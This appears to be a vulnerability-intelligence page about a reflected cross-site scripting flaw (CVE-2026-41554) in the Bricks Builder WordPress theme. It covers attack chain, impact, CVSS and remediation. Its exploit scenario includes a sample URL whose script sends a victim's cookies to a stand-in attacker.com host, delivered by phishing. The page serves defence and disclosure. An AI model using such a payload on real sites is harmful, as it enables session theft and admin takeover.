Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessCraft XSS payload URL
-
DeliveryDeliver via phishing email
-
ExploitVictim clicks link
-
ExecutionScript executes in admin context
-
PersistSteal session tokens
-
ImpactAccess WordPress backend
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires the victim to be using a vulnerable version of Bricks Builder (through 1.9.2 to 2.2) and to click a specially crafted malicious link while browsing with an active browser session. Attack success depends on social engineering effectiveness in convincing targets to follow attacker-supplied URLs, typically targeting WordPress administrators or content editors who have elevated privileges within the CMS. The reflected XSS occurs when Bricks Builder processes specific URL parameters or form inputs without proper output encoding during page generation. Exploitation is limited by the need for user interaction (CVSS UI:R) - automated scanning cannot trigger the vulnerability without victim involvement. Organizations with security awareness training, email filtering that detects suspicious links, or browser extensions that block reflected XSS may see reduced exploitation success rates. Sites implementing strict Content Security Policy headers will limit post-exploitation impact even if the XSS payload executes. |
| Impact | CVSS 7.1 (High) with changed scope (S:C) indicates the vulnerability can affect resources beyond the vulnerable component's security scope, potentially allowing session token theft or actions on behalf of authenticated WordPress administrators. However, real-world exploitation risk is moderated by the required user interaction (UI:R) - attackers must convince victims to click crafted links, typically via phishing emails or compromised websites. The network vector (AV:N) and no required privileges (PR:N) lower the attack barrier once social engineering succeeds. No CISA KEV listing or confirmed active exploitation reduces immediate urgency compared to vulnerabilities with observed in-the-wild abuse. Patchstack disclosure indicates security research validation but not mass exploitation. Organizations using Bricks Builder face elevated risk if their WordPress administrators or content editors are accessible to phishing campaigns, or if the theme is used on high-value targets where XSS can facilitate account takeover, data exfiltration, or further pivot into backend systems. Prioritization should factor site exposure, user privilege levels, and defense-in-depth controls like Content Security Policy headers that can mitigate XSS impact even when vulnerabilities exist. |
| Exploit ScenarioDerived | An attacker identifies a Bricks Builder theme input field or URL parameter that reflects unsanitized content into the page response. They craft a malicious URL embedding JavaScript payloads (e.g., https://victim-site.com/?bricks_param=<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>) and distribute it via phishing email claiming to be a WordPress security update notification or password reset link. When a site administrator clicks the link while authenticated to their WordPress dashboard, the malicious script executes in their browser context with their session privileges, exfiltrating session cookies to the attacker-controlled server. The attacker then uses stolen credentials to log into WordPress admin panel, install backdoor plugins, or modify site content. Patchstack disclosure suggests proof-of-concept demonstration exists within security research community. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 07, 2026
Reflected cross-site scripting in Bricks Builder WordPress theme through version 1.9.2 to 2.2 enables remote attackers to execute malicious JavaScript in victim browsers by crafting URLs with unsanitized input that gets reflected into generated web pages without proper encoding. Exploitation requires victim interaction (clicking a malicious link) but no authentication, making phishing and social engineering viable delivery methods. EPSS and KEV data not available; no public exploit confirmed at time of analysis, though Patchstack disclosure suggests security researchers have demonstrated the vulnerability.
RemediationAI
Upgrade Bricks Builder to the latest version available from the vendor that addresses CVE-2026-41554. Consult the Patchstack advisory at https://patchstack.com/database/wordpress/theme/bricks/vulnerability/wordpress-bricks-builder-theme-1-9-2-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve for patch confirmation and specific fixed version number, as the CVE data does not specify the exact patched release. Until patching is complete, implement compensating controls including Content Security Policy (CSP) headers with strict script-src directives to prevent inline JavaScript execution (note: may break legitimate theme functionality requiring inline scripts), Web Application Firewall (WAF) rules to detect and block XSS patterns in URL parameters and form submissions (trade-off: potential false positives requiring tuning), and user awareness training to recognize phishing attempts delivering malicious links. Restrict WordPress admin access to trusted networks via IP allowlisting or VPN if operationally feasible, reducing exposure surface for social engineering. Verify CSP implementation does not disable security protections through overly permissive 'unsafe-inline' or 'unsafe-eval' directives.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Bricks Builder is a visual site builder theme for WordPress (CPE: cpe:2.3:a:bricks:bricks_builder). This vulnerability stems from CWE-79 (Improper Neutralization of Input During Web Page Generation), where user-supplied input from URL parameters or form fields is incorporated into dynamically generated HTML responses without proper sanitization or output encoding. Reflected XSS differs from stored XSS in that the malicious payload is not persisted server-side but instead bounced back from the server in the immediate response. The affected version range spans from unspecified early versions through 1.9.2 up to version 2.2, suggesting a longstanding input handling deficiency in the theme's rendering logic. WordPress themes with visual builders often process complex query parameters to render preview states or dynamic content, creating multiple potential injection points if input validation is insufficient.
Know when Bricks gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
Primary rating from Vendor (Patchstack) · only source for this CVE.
CVSS VectorVendor: Patchstack
DescriptionCVE.org
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Bricks Builder allows Reflected XSS.
This issue affects Bricks Builder: from n/a through 1.9.2 to 2.2.
Executive ViewAI
Bricks Builder WordPress theme versions 1.9.2 through 2.2 contain a reflected cross-site scripting (XSS) vulnerability that allows attackers to execute arbitrary JavaScript in users' browsers through malicious links, potentially compromising administrator credentials, session tokens, and site data without requiring authentication. Organizations using this theme face phishing risk targeting staff and customers; successful exploitation could lead to unauthorized administrative access or data theft.
No vendor-released patch identified at time of analysis. Interim mitigations: (1) disable Bricks Builder theme and revert to alternative theme; (2) implement WAF rules blocking common XSS payloads in query strings; (3) enforce Content Security Policy (CSP) headers to restrict inline script execution; (4) conduct phishing awareness training to reduce user susceptibility to malicious link clicks; (5) monitor security advisories from Patchstack and Bricks Builder developers for patch availability and apply immediately upon release.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
The Bricks theme for WordPress is vulnerable to remote code execution due to the theme allowing site editors to include
Unauthenticated attackers can leak password hashes, email addresses, and post metadata from WordPress sites running Bric
Broken access control in the Bricks Builder WordPress plugin/theme through version 2.4.3 lets unauthenticated remote att
Unauthenticated content disclosure in Bricks Theme 2.4 and earlier for WordPress lets anonymous attackers read draft and
The Bricks theme for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 1.9.6.1. Rate
The Bricks theme for WordPress is vulnerable to authorization bypass due to a missing capability check on the bricks_sav
Broken Access Control in Bricks Builder for WordPress (versions up to and including 2.1.4) allows subscriber-level authe
The Bricks Builder plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and inc
EUVD-2026-28369
GHSA-w6wq-7556-p56p
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB